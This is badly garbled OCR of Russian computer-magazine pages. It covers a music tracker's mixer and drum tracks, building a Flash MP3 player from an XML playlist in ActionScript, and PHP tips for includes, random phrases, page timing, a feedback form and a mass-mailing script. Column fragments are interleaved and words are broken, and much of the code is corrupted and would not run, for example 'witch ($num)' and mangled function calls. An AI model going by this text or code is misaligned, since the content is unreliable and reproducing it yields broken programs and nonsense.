таве, выставляешь слайд, акцент или что те- 


бе надо, выбираешь, будет ли она звучать 
при проигрывании паттерна, и переходишь к 


слелующему шагу. И так все 1 


6 (или сколько 


ты там выбрал) шагов. Паттерн лучше писать 


при включенной кнопке 
слышать, что получилось. 
ешь настройки ко всему 


play 


ЗАМЕСИМ? 


Далее идет блочок Mix. Ону 
для 


держка) делает эффект 
мого на себя, ручка pan (L-R) 
правый или левый каналы, 
и сотр накладывают 
читай н 


Master - 
громкости. Еще ниже тусуют 
фектов, которые при 
омпозиции. 


РСЕ - четыре регулятора настройк 


звука. Егеа увеличивает час 
звука, Q - регулирует высокоч 
Amt - средние частоты 
расположения переключател 
держку разл 


это длительность задержки, а 


ость раздражения, Shape 
ривой искажения звука. 


ie 


еткость окончания. 


так, эти настройки подходят 


is) 


а все дорожки. 


ЗАБЬЕМ БИТ 


всех дорожек. Здесь у нас 
гулятор уровня громкости, ручка delay (за- 
наложения зву 


еняются 


COMP - для разного звука изменен 
Oro отличаются, в основном поднимает 


‚ чтобы сразу 


Дальше применя- 
паттерну, и вуаля! 
Юзаешь его в своей композиции. 


нас одинаков 
имеется ре- 


а са- 
гает звук 
и dist, 


COB 
KHONOY 


спецэффекты (ка- 
на один канал. 
лампочка включает и отключает канал 


Зеленая 
игра- 


настройка общей 


блоки спе- 
ко всей 


СЯ 


частоты 
TOTY и высоту 
астотный звук, 


в зависимости от 


ей, Пес - за- 


чных частот в зависимости от 
расположения переключателей. 

DELAY - задержка звука. Pan «сдвигает» ме- 
лодию на правый или левый канал. Е.Васк - 


чуть выше ци- 


фра, на сколько нот произойдет задержка. 
DIST (от слова раздражение) - добавляет 
ум и раздражение к звуку. Amount - 


MOLL- 
ение 


- ПОВЫ 


я нем- 


к первым двум 


орожкам, спецэффекты, конечно, влияют 


Далее идут две дорожки барабанного бита. 


На третьей дорожке ты увидиц 
на само 
надписью Level - это ручки 


каждой дорожки бита. Далее 


lib следующее: 


верху длинная дорожка ручек с 


громкости для 
идут два ряда 


ручек настройки тональности и задержки би- 


та. Ниже 
рок с буквами. Так обознач 
мент. Например, если нажать 
квами СУ, 


то будет звук тарелки, если 


располагается ряд небольших би- 


ается инстру- 
на бирку с бу- 
нажать 


СР - стандартный Ноизе хлоп 
кружками находится 16 выклю 
рые соответствуют 16 steps, и 


ок. Под этими 
чателей, кото- 
работают они 


следующим образом: хоче 
нажимаешь СУ и щелкаешь мышкой на вы- 
ключателях, затем жме 
звук тарелок в той после 
их расположил. В 
горается красная лампоч 
ходится большой пере 
него можно быс 
ежду разными инструментами. 


ОЙ ТЫ 


ЩЬЮ 


На четвертой д 


самое, только немного покруче. На каждый 
звук бита идет по четыре настройки: 


орожке 


Типе - тональность; 


Level - гром 
Dec - задержка 
Att - мощность; 
для SD snap 


ешь, щелкая 


ный (слабый 


грает 
та KHON 
пенно увел 
Для начала 
терны под ци 
лючим, а бас 
ном. Пошла 


держкой легког 
тем начинаем 
держ 
панели 


ix. По 


же са 


роткий отрывок 


ое слегк 


OCTb; 


- звук удара snare. 
Соответствующий инструмент ты выбира- 
на таблички под регуляторами 
(там загорается маленькая красная лампоч- 
а). Теперь точно так же, как и на третьей 
дорожке, можно расставить бит в 16 клеток 
- там загорится диод, причем сначала зеле- 
звук), потом оранжевый (сред- 
ний звук), а потом красной (сильный звук). 


ЗАЖЖЕМ! 


Ну, вот мы и разобрались, что это за страш- 
ный микшер такой. Пришло время разо- 
браться, как сделать первую композицию. 
Заметь, что на самом верху, над кнопками 
Play Stop и т.п., находится переключатель 
Pattern/Song Mode. Соседние три окна 
показывают длину мелодии, ее начало и ко- 
нец. Переключаемся в Song Mode. 

так, нажимаем кнопку Record и давим Play. 
музон, он записывается, пока нажа- 
a Record. Заметь - Вагначал 
чиваться. 
поставим в качестве драма пат- 
рой 1, первую дорожку вы- 
усть будет шестым паттер- 
музыка. Сначала это просто ко- 
электронного баса 
о бита, именно легкого. За- 
оворачивать регулятор за- 
и звука Delay, который наход 
степенно появляе 
звук начинает перемешиваться, делаем то- 
м битом. Теперь 


едленно увел 


Мм 
TT | 


OCHO 


ичивать 


ВВЕДИ ВСЕН В ТРАНС! 


шь звук тарелки - 


Музыка создается 
именно с помощью твоих 
рук и твоей реакции. 
Именно с этой 
программой ты MO>KELLIb 
почувствовать себя 
настояццим ди-джеем, так 
как сам трек сводится и 
записывается в Real time. 


ь play и слышишь 
довательности, в ка- 
активной ячейке за- 
а. Чуть правее на- 
ключатель, с помо- 
тро переключаться 


примерно все то же 


новной панели. Изменяем параметры Типе, 
Cutoff, Reso, Env.Mod, Decay и Accent, 
доводя каждый до середины, и чуть выше 
выборочно мы получаем увеличение низких, 
высоких и средних частот, таким образом, 
добавляется количество шумовых эффектов 
и появляется переплетение звука. Теперь 
немного поиграем с мелодией, для этого 
просто в такт сначала резко увеличиваем 
Cutoff, а при следующем такте ставим на 
место, и так, к примеру, четыре раза, затем 
оставляем этот показатель чуть выше, чем 
был до этого. Так делаем с несколькими по- 
азателями. Теперь постепенно повышаем 
громкость первой дорожки и опять же начи- 
наем изменять Tune, Cutoff, Reso, 
Env.Mod, Decay и Accent. Затем резко до- 
бавляем дорожку с битом. Если будет каза- 
ься слишком просто, сохраняем трек, на 
всякий случай, включаем его и во время 
проигрывания добавляем еще спецэффек- 
гы; PCF, например, дает очень классные ча- 
стотные преобразования. Можно изменять 
стандартные спецэффекты или вообще сна- 
чала создать только бас и синтезаторный 
греки, а во второй раз уже бит. 


посте- 


Поле для экспериментов огромно. По- 
степенно ты напишешь свои паттерны, а 
твои треки станут все более сложными и 
изощренными. Главное, не останавли- 
вайся, приходи домой вечерком, врубай 
колонки на полную, и да пребудет сила с 
твоими соседями! 
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TIPS OF FLASH: 


Iv (dembicki@narod.ru) 


MP3 ПЛЕЕР 
В ОДНУ СТРОКУ 


Интернет сейчас, как немое кино в начале прошлого 
века. Некоторые сайты озвучены фоновой музыкой, а 
на особо продвинутых можно выбрать одну из 3-4 мело- 
дий. Но можно ворчать, а можно юзать то, что доступ- 
но сейчас. Мы с тобой, например, сделаем сегодня МРЗ 
плеер с возможностью выбора пользователем полю- 
бившегося ему трека. Также дадим возможность юзе- 
ру посмотреть инфу по песне. Причем при помощи это- 
го энджина а) элементарно добавить новую пр3З'шку 
на сайт, не меняя мувика и 6) можно слушать музыку 
почти сразу, не дожидаясь загрузки mp3. 


TIPS 1. ЖХМЁ-@ПИЕБАНИЕ 


Если нужно передавать во Flash параметры извне, юзь 
XML - онкрут. Сделаем XML с описанием песен и поло- 
жим несколько MP3 в папку music. Вот какой 
playlist.xml вышел у меня: 


<playlist> 

<item url=«blamme.mp3» 
songName=«blamme» 
artist=«strekachi» 
album=«Full charge 2000» 
genre=«drum-n-bas» 
соттеп{=«это кульная песня!» 
duration=«189649»/> 

<item url=«fuzz_fucking.mp3» 
songName=«fuzz fucking» 


if (this.firstChild != null) { 
return this.firstChild; 
} 


var n = this; 
while (n.nextSibling == null) { 
if (n.parentNode) { 
п = n.parentNode; 
} else { 
return null; 
} 


return n.nextSibling; 


} 
Подготовка закончена. 


TIPS 4. ЗАГРУЗКА 
И ОБРАБОТКА XML 


Создадим объект XML и грузанем в него наш XML доку- 
мент, и сразу после загрузки расставим ID узлам XML. 
Затем определим, если проект запущен локально (т.е. 
URL начинается с «file:///»), то вызываем функцию выво- 
fla Ha экран значений продолжительности звучания всех 
роликов. После этого инициализируем наш MP3 плеер. 


input_xml = new XML(); 
input_xml.load(«playlist.xml»); 
this.input_xml.onLoad = function(success) { 


artist=«prodigi» if (success) { 
album=«nope» if (this.status != 0) { 
genre=«nope» trace(«<invalid xml»); 
comment=«9To же продиги» } else { 
duration=«201326»/> var i = 0; 

<item url=«track1.mp3» var nod = this.firstChild; 
songName=«X-item» while (nod) { 
artist=«XX» : nod.attributes.ID = i++; 
album=«xxx» eS ttt nod = nod.nextNode(); 


genre=«sample» 
comment=«3To 


сэмпл» — 
duration=«8333»/> 
</playlist> 
TheS 2 


Я не стал полагаться на получение стандартных тегов 
из MP3, а описал свои в XML. Гораздо удобнее писать 
в своем XML, что в голову взбредет, чем париться ис- 
правлять теги в MP3. Тем более, что XML нас ничем не 
ограничивает в смысле количества атрибутов и их на- 
полнения. И к тому же эти данные мы можем получить, 
не загружая MP3 файлы. 


TIPS 3. Подготевитель- 
НЫЙ ЭТАП 

А А сохраним в той же папке, что и XML. Кодим в пер- 
вом кадре рута. Этаж привесим в левый верхний угол и 
запретим масштабироваться: 

Stage.align = «TL»; 

Stage.scaleMode = «noscale»; 


Сделаем настройки для XML - берем текущую кодовую 
страницу иигнорируем пробелы во всех XML документах: 
System.useCodePage = true; 
XML.prototype.ignoreWhite = true; 


Раз есть XML, снова юзаем мою любимую функцию для 
обхода дерева: 

// (с) lvan Dembicki, dembicki@narod.ru 
XMLNode.prototype.nextNode = function() { 
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} 

this.parseXML(this.firstChild); 

if (_url.substring(0, 8) == «file:///») { 
_toot.getDurations(); 

} 


var mc = 
_toot.attachMovie(«play_box_mc», 
«р!ау_Бох_тс», 0); 


— ee, 


Г] 
| 
1 
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1 
1 


TREE LULL 
Г] 
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Вот таким должно быть содержание библиотеки 


mc.total = 1-1; 
тс. х = 100; 
тс. у = 100; 
mc.showString(); 
} 
} else { 


trace(«error opening URL»); 


Bi 


TIPS 5. ОПРЕДЕЛЯЕМ 
ДЛИТЕЛЬНОСТЬ ЗВУЧАНИЯ 


Для того чтобы с секундомером в руках не вычис- 
лять длительность звучания песенок, мы функцией 
выведем эти значения в окно Output. Принцип таков: 
грузим все песенки по принципу эстафетной палоч- 
ки: как только загрузилась одна, получаем данные о 
ее продолжительности и тут же грузим следующую. 
И так - пока не доберемся до конца описания. 


_toot.getDurations = function() { 

_root.nod = _root.input_xml[++_root.id]; 

if (_root.nod == undefined) { 
delete _root.id; 
delete _root.nod; 
delete _root.test_sound; 
_root.duration_mc.removeMovieClip(); 
return; 


delete _root.test_sound; 

var mc = _root.createEmptyMovieClip («dura- 
tion_mc», 50); 

mc.test_sound = new Sound(); 


mc.test_sound.loadSound(«music/»+_root.nod. 
attributes.url, false); 
mc.onEnterFrame = function() { 
var | = this.test_sound.getBytesLoaded(); 
var t = this.test_sound.getBytesTotal(); 
if (It == 1) { 
trace(«\rfile:\t\t»+_root.nod.attrib- 
utes.url); 


trace(«duration:\t»+this.test_sound.duration); 
_root.getDurations(); 


IB 
Ii 


Kak создашь XML описание, эту функцию нужно за- 
комментировать, и компилировать окончательный 
вариант без нее. Можно закомментировать и те 
строки, которые осуществляют вызов этой функции. 


TIPS 6. ИНТЕРФЕЙС 
ПРОИГРЫВАТЕЛЯ 


Сразу после парсинга XML строкой var тс = 
_root.attachMovie(«play Бох_ пс», «play Бох_тс», 
0); мы аттачим мувик «р/ау_Бох_гпс» из библиотеки. 
Создай пустой мувик, задай ему это имя и этот же 
linkage name. В этом мувике мы сделаем все кнопки 
и текстовое поле для отображения инфы о файле. 
Нарисуй кнопки управления. Вид твоих кнопок дол- 
жен, соответственно, символизировать: 

1. кнопка Рау 

2. кнопка Stop 

3. ползунок Volume 

4. кнопка Info 

5. две кнопки перелистывания 

Шестой элемент - текстовое поле. 

Все кнопки в четвертом (Hit) кадре содержат квад- 
рат 16x16, исключение - кнопки перелистывания в тек- 
CTOBOM поле, Соответственно их тип - button (за ис- 
ключением ползунка). Имена экземпляров слева на- 
право: рау Биф, stop butt, volume butt, ползунок к 
volume_butt- control_mc, info_butt, up butt 1 down_butt 
итекстовое поле string_txt 6e3 имени переменной. Это 
все объекты, которые необходимо предварительно 
создать. 


THRE 7/5 ааа 


Задавать скрипты мы будем в TOM же порядке, что и их 
расположение на сцене. Все скрипты будем писать в 
отдельном верхнем слое первого кадра мувиклипа, ко- 
торый содержит все эти объекты, - рау_Бох тс. 
Важный момент: к объектам и переменным в мувиклипе, 
содержащем кнопки, из этих кнопок можно обращать- 
ся двумя способами: первый - с использованием this. This 
будет явно указывать на кнопку, и тогда объекты в му- 
виклипе будут доступны по пути this. parent; второй спо- 
соб - без указания this объекта, тогда объекты проигры- 
ватель будет искать по местонахождению скрипта. 

В большинстве случаев я пошел по второму пути - так 
короче. 

Вначале изменим стандартное время предзагрузки 
звукового файла до 20 секунд. С учетом средней ско- 
рости наших сетей это полезно. 


_soundbuftime = 20; 


Определим, какую по счету песенку мы хотим показать 
В информационном окне: 
this.id = 1; 


И зададим текстовому полю нужные свойства: 
this.string_txt.borderColor = 0х333399; 
this.string_txt.border = true; 


TIPS 8. KHOMKA PLAY 


При клике Ha кнопку сохраним номер выбранной песни 
в переменной, хранящей номер активной песни. Пере- 
менной, хранящей статус, зададим значение «played». 
Дальше, если уже какая-нибудь песенка проигрывает- 
ся, то остановим ее, создадим новый объект Sound, за- 
менив им предыдущий с таким же именем, и начинаем 
загружать и проигрывать в потоковом режиме выбран- 
ную музыку. Задаем значение громкости в зависимости 
OT позиции ползунка. Строкой showString() - обновляем 
информационное текстовое поле (06 этой функции бу- 
дет ниже). И задаем действия, которые нужно совер- 
шить после того, как музыка отыграет, - изменим ста- 
тус и обновим информационное окно. 


this.play_butt.onRelease = function() { 
active_id=id, stat=«played»; 
my_sound.stop(); 
my_sound = new Sound(); 


my_sound.loadSound(«music/»+_root.input_xmllid 
].attributes.url, true); 

my_sound.setVolume(100- 
control_mc._y*100/16); 

showString(); 

my_sound.onSoundComplete = function() { 

stat=«stopped», showString(); 

} 

} 


Wits 2. анапа (el 


Изменяем статус проигрываемой песни, обновляем ин- 
формационное текстовое поле и останавливаем проиг- 
рывание музыки. 


this.stop_butt.onRelease = function() { 
stat=«stopped», showString(); 
my_sound.stop(); 


} 


Wes Vil. RIERA 
с NOASYHKOM VOLUME 


Это два разных объекта. Ползунок не имеет собствен- 
ных методов до тех пор, пока не нажата кнопка! При Ha- 
жатии ползунку задаются функции, при отпускании уби- 
ваются. Смысл вычислений, происходящих при нажатой 


кнопке, сводится к тому, чтобы сместить ползунок на 
одну пятую (можно Это число изменить) от смещения 
мыши после нажатия на кногку. Ползунок очень малень- 
кий, поэтому, чтобы пользователь не пристреливался 
мышкой на нужный уровень звука, а спокойно изменял 
его, двигая мышкой в комфортном ему диапазоне, я и 
установил коэффициент перемещения 1/5. Затем, про- 
верив крайние положения, вычисляем, какой уровень 
громкости задать. И обновляем информационное поле. 
this.volume_butt.onPress = function() { 
var тс = this._parent.control_mc; 
mc.poz = тс. у; 
mc.onMouseMove = function() { 
this._y = (this._parent._ymouse- 
this.poz)/5+this.poz; 
if (this._y<0) { 
this. y = 0; 
} else if (this._y>16) { 
this._y = 16; 


this._parent.my_sound.setVolume(100- 
this._y*100/16); 


Г ЕЕ ЕЕЕЕ 
ве | 
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Скрипт посчитал продолжительность песен. 
Хвала ему! 


this._parent.showString(); 
} 
mc.onMouseUp = function() { 
delete this.onMouseMove; 
delete this.onMouseUp; 
} 
} 


TIPS 11. KHONMKA INFO 


Меняет значение булевой переменной на противопо- 
ложную и обновляет информационное поле. 


this.info_butt.onRelease = function() { 
info=!info, showString(); 


} 


АЕ 14. [<rleinit<ta) (Ul 
и DOWN 


Действие этих кнопок сводится к тому, чтобы изменить в 
соответствующую сторону значение ID, при этом прове- 
рив крайние положения. При выборе ID большем, чем мак- 
симально возможное, переходим на первый, и наоборот, 
при выборе меньше, чем единица, переходим на макси- 
мально возможное. В результате получаем зацикливание. 


this.down_butt.onRelease = function() { 
++id>total ? id=1 : «», showString(); 


this.up_butt.onRelease = function() { 
—id<1 ? id=total : «», showString(); 


} 
TIPS 13. Функция 
SHOWSTRING 


Эта функция собирает, где только возможно, данные о 
выбранной музыке и помещает в текстовое поле. Дан- 
ные берутся в основном из узла XML, а также из пере- 
менных, которые мы устанавливаем в ходе манипуля- 
ций кнопками, из свойств объекта SOUNd. 

Отдельно расскажу о последней части функции, со 
строки this.string_txt.autoSize = true; Этой строкой уста- 
навливается автоматический размер окна. После это- 
го, в зависимости от того, какая выбрана установка, 
решаем, какой размер окна по высоте будем устанав- 
ливать - полный или только по высоте одной строки 


TIPS OF FLASH 


(16). Далее отменяем автоматический размер окна и 
устанавливаем тот, который выбрали. Таким обра- 
зом, мы не удаляем дополнительные данные - их про- 
сто не видно в маленьком окне. 


this.showString = function() { 
var volume = this.my_sound.getVolume(); 
var att = _root.input_xmllid].attributes; 
var min = Math.floor(att.duration/1000/60); 
min<10 ? min=«0»+min : «»; 
var sec = Math.floor(att.duration/1000)%60; 
sec<10 ? sec=«0»+sec : «»; 
var curr = this.id == this.active_id; 
var stat = curr ? this.stat : «off»; 
var str = this.id+».\tsong:\t\t»+att.songName; 
str += «\t\r\tstatus:\t\t»+stat; 
if (stat == «played») { 
str += «\t\r\tvolume:\t»+volume; 


} 
str += «\t\r\tartist:\t\t»+att.artist; 
str += «\t\r\talbum:\t»+att.album; 
str += «\t\r\tgenre:\t\t»+att.genre; 
str += «\t\r\tduration:\t»+min+«:»+sec; 
str += «\t\r\tcomments:\r\t»+att.comment; 
this.string_txt.text = str; 
this.string_txt.autoSize = true; 
var h = this.info ? this.string_txt._height : 16; 
this.string_txt.autoSize = false; 
this.string_txt._width = 280; 
this.string_txt._height = h; 

} 


После того как задана функция, вызовем ее, чтобы 
показать в текстовом поле стартовые настройки: 


this.showString(); 


TIPS 14. ПРЕЛОДЕР, UH- 
ЦИКАТОР ПРОИГРЫВАНИЯ 


Для того чтобы юзверь видел, какая часть музыкаль- 
НОГО файла уже загрузилась и в каком месте проиг- 
рывается файл, нужно сделать соответствующий ин- 
дикатор, Для этого создаем мувик и располагаем его 
чуть выше всех наших объектов. 


this.createEmptyMovieClip(«loader_mc», 1); 
this.loader_mc._y = -5; 


Определяем 100% длину индикаторной линии OT нуле- 
вой координаты до конца текстового поля: 
this.loader_mc.w = 
string_txt._width+string_txt._x; 


И обсчитываем две цифры: процент загрузки и про- 
цент позиции проигрывания. 

Эти цифры рассчитываем с учетом того, что 100% 
это длина всей индикаторной линии. 

И затем последовательно рисуем линии, соответст- 
вующие этим значениям. 


this.loader_mc.onEnterFrame = function() { 
var s = this._parent.my_sound; 
var | = s.getBytesLoaded(); 
var t = s.getBytesTotal(); 
Var р = s.position; 
var d = _root.input_xml[this._parent.active_id]. 


attributes.duration; 
var x = I/t*this.w; 
this.clear(); 


this.lineStyle(6, 0x000000, 100); 
this.moveTo(0, 0), this.lineTo(this.w, 0); 
this.lineStyle(4, 0x999999, 100); 
this.moveTo(0, 0), this.lineTo(x, 0); 
d ? x=p/d*this.w : х=0; 
this.lineStyle(2, OxCCCCCC, 100); 
this.moveTo(0, 0), this.lineTo(x, 0); 

}; 


Итак, ты получил представление о TOM, как сделать 
свой он-лайн проигрыватель MP3 файлов. Если мозги 
целы, поздравляю! Если что-то у тебя не будет полу- 
чаться или заметишь баг, то пиши мне на мыло дет- 
bicki@narod.ru или бросайся ко мне на сайт. 
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HPEATHB 


Привет, дорогой любитель чипсов... то есть типсов, получай свою порцию! Сейчас даже Ha 
халявных хостингах обязательно торчит php. С помощью этого яза можно замутить всякие не 
сложные, но очень полезные фишки. Ну так что, замутим? 


ИНКЛУДЫ, ИНКЛУДИКИ 

Не пихай икру и сгущенку в одну миску. 
Разложи самодостаточные куски кода по 
файлам, а в основном скрипте юзай рек- 
ваи. 

Этот кусок кода <?рИр require 
‘includes/header.php’; ?> вызывает файл 
includes/header.php и результат его работы 
вставляет на место реквая. Файл head- 
ег1.рНр должен находиться в подкаталоге 
includes. Для вставки определенного фай- 
ла, в зависимости от переменной, можно 
юзать такую загогулину: 


<?php 


if ($main ==") { require ‘includes/head- 
er1.php’; } 
else { require ‘includes/header2.php’; } 


?> 


Если переменная mail пустая, то грузится 
header1.php, иначе header2.php. 


В случае, если у тебя нестандартно уста- 
новлен php или надо указать абсолютный 
путь, но не от корня сервера, а от корня 
виртуального хоста (очень помогает при 
переносе сайта на другой хостинг), то ис- 
пользуем конструкцию: 


<?php 


$file_path = 
$DOCUMENT_ROOT.«/includes/header3.php»; 
require ($file_path); 


?> 


Такая фиговина вызовет файл header3.php 
из директории includes, расположенной в 
корне твоего виртуального хоста. 


ПОКАЗ СЛУЧАЙНОЙ ФРАЗЫ 

Вначале подключаем генератор псевдослу- 
чайных чисел, потом переменной пит при- 
сваиваем случайное число от 1 до 5, потом, 
в зависимости от этого числа, выводим 1 из 


5 фраз. 


<?php 

# рэндом, однако 

гап@ ((Чоцще) писгоНте ()*1000000); 
$num = rand(1,5); 


?> 


<? if ($num == ‘1') { ?>Фраза n.1<br>Ky 1 
pa3<?php } ?> 

<? if ($num == ‘2’) { ?>Фраза n.2<br>Ky-ky 2 
pa3a<?php } ?> 


<? if ($num == ‘3’) { ?>Фраза n.3<br>Ky-ky- 
КУ 3 раза<?рйр } ?> 

<? if ($num == ‘4’) { ?>Фраза n.4<br>Ky-ky- 
Ky-ky 4 pa3a<?php } ?> 

<? if ($num == ‘5’) { ?>Фраза n.5<br>Ky-ky- 
ку-ку-ку 5 pa3<?php } ?> 


Кроме злополучного if, Ty же конструкцию 
можно записать с помощью сазе и(или) 
массивов. Вначале не забудь иницииро- 
вать генератор псевдослучайных чисел и 
присвоить переменной число из заданного 
диапазона: 


<?php 

witch ($num) { 

case «1»: 

# Действие 1 

break; 

case «2»: 

# Действие 2 

break; 

case «3»: 

# Действие 3 

break; 

default: 

# Действие no умолчанию 
# если переменная не равна 1, 2 или 3-м 
break; 


} 


?> 


Иногда для упрощения кода используют 
ассоциативные массивы: 

<?php 

# рэндом, однако 

зтапа ((Чоище)ичсгонте()*1000000); 

$num = ‘value’.rand(1,100); 


$trash_mas = anal 

«value1» => «/includes/header1.php», 
«value2» => «/includes/header2.php», 
«value3» => «/includes/header3.php», 


if (isset($trash_mas[$num])) { 
$file_path = 

$DOCUMENT_ROOT.$trash_mas[$num]; 
require ($file_path); 


$file_path = 
$DOCUMENT_ROOT.«/includes/header_default 


php»; 
wr ($file_path); 


?> 


Вначале инициируем генератор и присво- 
им переменной пит значение от ‘valuel’ до 
‘value100’. Потом опишем массив, далее, в 
зависимости от значения переменной в 
массиве, включим определенный файл. 
Эти скрипты в различных вариациях ис- 
пользуются для вывода случайных банне- 
ров, интерактивной генерации страниц, 
вставки всяких ориджинов и комментов. 


ОПРЕДЕЛЕНИЕ ВРЕМЕНИ 

ВЫВОДА СТРАНИЦЫ 

Все просто до извращения. Попробуешь, и 
тебе понравится. В начале файла или в 
первом реквае на странице надо присвоить 
переменной timestart время, когда нача- 
лась генерация нашей странички. Предва- 
рительно напишем функцию, которая при- 
ведет ответ microtime() в удобоваримый 
вид, по умолчанию это 2 числа через про- 
бел, десятичное долей секунды и действи- 
тельное в юних-секундах от начала века. 


<?php 
function getmicrotime(){ 

i $sec) = explode(«»,micro- 
time()); 
return ((float)$usec + (float) $sec); 
} 


$timestart = getmicrotime(); 
?> 
<html> 
<body> 


Потом у Hac выводится вся наша страница. 
Наши любимые несколько килобайт кода, 
море рекваев и куча вспомогательных 
скриптов. Потом приходит конец страни- 
цы. Кстати, надо сделать так, чтобы напи- 
санная нами функция getmicrotime была 
доступна и в конце нашей страницы. 


<?php 

$timeend = getmicrotime(); 
$timenormal=$timeend-$timestart; 
$timenormal=round ($timenormal, 3); 
echo ‘Страница генерилась ‘.$timenormal.’ 
секунды”; 

te 


</body> 
</html> 


Этот скрипт прост. Присвоили время с точ- 
ностью до шести знаков после запятой се- 
кунды. Далее посчитали разницу между 
начальным и конечным значениями. Потом 
округлили полученное значение до трех 
знаков после запятой. А теперь ТО САМОЕ 
число мы выводим в конце страницы. 


Отправка сообщения со страницы с воз- 
вратом на ту же страницу 


Если не усложнять себе жизнь, то этого эф- 
фекта можно добиться очень просто. Для 
этого мне хватает двух файлов. Я этот ку- 
сок кода вставляю на страницу рекваем и 
не мучаюсь. Он отсылает инфу из скрипти- 
ка send.php, лежащего в той же директо- 
рии, что и файл, в котором включен этот 
код. Также он сохраняет урл текущей стра- 
НИЦЫ, чтобы потом на него вернуться: 


<form method=«post» action=«send.php»> 
<6>Твои KoMMeHTBI:</b></br> 

<input type=«hidden» name=«urlnow» 
value=»<?php $url = 

sprintf («%s%s%s»,«http://»,$HTTP_HOST,$R 
EQUEST_URI); echo «$url»; ?>»> 

<textarea name=«message»><?php 


if ($send==«ok»||$send==«bad») { 
if ($send==«ok») { 
echo «Твои комменты успешно 3a- 
постеных; 


} 
if ($send==»bad») { 
echo «Твой треш He был отправ- 
лен»; 


else { 
?>Incognito (none@email.me):<?php 


?></textarea> 

<input type=«submit» name=«submit» 
value=«OTnpaBuTb»> 

</form> 


Теперь, передав наши два парамента url- 
now - текущая страница message - текст 
комментария - в скрипт send.php, мы по- 
смотрим, что же там творится. 


<? 


$urlback = $urlnow; 

$timeall = ‘Date: ‘.Date(‘D, d MY Hiss 
).$SIGN.sprintf( 
“%02d%02d',floor($ZONE/3600),floor(($ZON 
E%3600)/60)). «\n»; 

$msg .= $timeall; 

$msg .= «REMOTE_ADDR: $REMOTE_ADDR\n»; 
$host = gethostbyaddr(«$REMOTE_ADDR»); 
$msg .= «HOST: $host\n»; 

$msg .= «$urlback\n»; _ 

$msg .= «> КОММЕНТАРИЙ: \п»; 

$msg .= $message; 

$msg .= « \n»; 

$msg .= «<—————————— ————— 
we \п»; 

$msg = convert_cyr_string($msg,'w’,’k’); 


if ($message==«Incognito none@email.me):») 
{ $send = ‘bad’; } 

else 

$topic = «COMMENT. feedback»; 
$email=«comment@domen.ru»; 
mail($email, $topic, $msg, «From: com- 
ment@domen.ru»); 

$send = ‘ok’; 


} 


$goto = ‘Location: ‘.$urlback.’?send=’.$send; 
Header($goto); 


?> 


Здесь мы увидим много интересного и не- 
понятного %-). Для начала узнаем дату, 
когда же нам умудрился написать этот чел. 
Получив это время поточнее %-), мы его 
вставим в сообщение, которое будем себе 
отправлять. Также допишем в сообщение 
ТР чела и имя его хоста. А еще допишем 


урл, с которого отправлено сообщение, 
чтобы знать, что же чел комментирует. Те- 
перь вставим сам текст сообщения. Для то- 
го чтобы я потом не парился, переконвер- 
тирую это все из Win-1251 в Ко18-г (у меня 
почтовый клиент больше любит Ко18-г). Ec- 
ли сообщение, которое нам запостили, яв- 
ляется пустышкой, отсылаем обратно с со- 
общением об ошибке. Если сообщение не 
пустышка, то посылаю письмо на свой ад- 
pec comment@domen.ru и выдаю сообще- 
ние, что ВСЕ ОК. Теперь переправил поль- 
зователя обратно на страницу, с которой 
он имел наглость запостить мессагу :). 

В теле нашей формы есть проверка на при- 
сутствие ответа скрипта-посланца. Если 
ошибка, он пишет: «Твой треш не был от- 
правлен». Если сообщение отправлено 
нормально, то он пишет: «Твои комменты 
успешно запостены». 


РАССЫЛКА 

Для создания рассылки нам необходим та- 
кой минимум: php, sendmail, 3 файла на 
серваке. Первый файл - mail_db.txt, в Hem 
записаны адреса, на которые мы хотим ра- 
зослать свои письма. На каждой строчке 
один e@mail. Например: 

попе@попе.ги 

none@mail.ru 

none@inbox.ru 

Второй файл - это само сообщение, кото- 
рое мы хотим безжалостно скинуть на 
всех. Например: 


Привет, великий ALL. 
370 ТЕСТ! 
Пока. 


Третий файл maillist.php - это скрипт рас- 
сылки. Он же будет показывать нам резуль- 
тат своей работы. 


<html> 

<head> 

<meta http-equiv=content-type 
content=«text/html; charset=windows- 
1251»> 

<title>Paccbinka noutbi:</title> 
</head> 

<body> 


<h1>Paccbinka noutbi:</h2> 
<hr noshade size=«2» color=«#D40000»> 


<?php 

$password = «mailok»; 

echo «<b>Mogkntoyenne фай- 
noB:</b><br>\n\n»; 

echo «1.»; $temp = file(«message.txt»); 
$sendread = join(«», Stomp): echo «mes- 
sage.txt - Teno coo6wjeHua<br>»; 

?> 


<hr noshade size=«2» color=«#D40000»> 


<?php 

echo «<b>Komno3nuna сообще- 
Hua:</b><br>\n\n»; 

$msg = «»; 

$msg .= $sendread; $msg .= « \n»; 


echo «<pre>».$msg.«</pre>»; 
?> 


<hr noshade size=«2» color=«#D40000»> 


<?php 
echo «<6>Подключение списка адре- 
coB:</b><br>\n\n»; 


$mailfile = fopen («mail_db.txt», «r»); 
if (!$mailfile) { echo «<p>Unable to open 
remote file «.$mailfile.» \n»; } 


while (!feof($mailfile)) 


{ 
$read = fgets($mailfile, р 
list($emails) = split(«»,$read); 
ereg_replace(«\n»,«»,$emails); 
$email[]=$emails; 
fclose($mailfile); 


$cemail = count($email); 

$i = 0; 

echo «<br><b>Bcero записей в файле: 
«.$cemail.»</b><br>\n\n»; 


?> 


<hr noshade size=«2» color=«#D40000»> 


<?php 

if ($pass==$ password) { echo 
«<b>0K</b>. Рассылка <b>Ha4ata</b>»»; } 
else {echo «<b>NOT</b>. Рассылка 
<b>HE</b> начата»; } 
echo «<pre>»; 

echo « статус: id: 
while ($i < $cemail) { 
ereg_replace(«\n»,«»,$email[$i]); 
$email[$i] = chop($email[$i]); 

Sitemp = $i+1; 

$topics = «»; 

$topics .= «ХАКЕР MAILLIST: «.$itemp.» - 
моя первая рассылка»; 

$topics .= « fe Datel ‘A MY’).») »; 
$topics .= «То:».$ета [$1]; 

echo «<li>»; 

if ($pass==$ password) 

mail($email[$i], $topics, $msg, «From: 
sevranty@deepdesign.ru»); echo 
«[<b>0K</b>]&nbsp; »;} 

else { echo «[<b>NOT</b>]&nbsp; »; } 
echo «<b>». $itemp.»</b> - 

«. $email[$i].»\n»; 

$i++; 

} 


echo «</pre>\n»; 


e-mail:»; 


?> 


<hr noshade size=«2» color=«#D40000»> 
<b>File End</b><br><br> 


</body> 
</html> 


Cam скрипт maillist.php инициируется 3a- 

просом maillist.php?pass=mailok. Без этого 

запроса он показывает всю инфу, но не 
рассылает сообщения. Это своего рода 
страховка от ложных запусков. 

Для самых маленьких опишу скрипт поша- 

гово: 

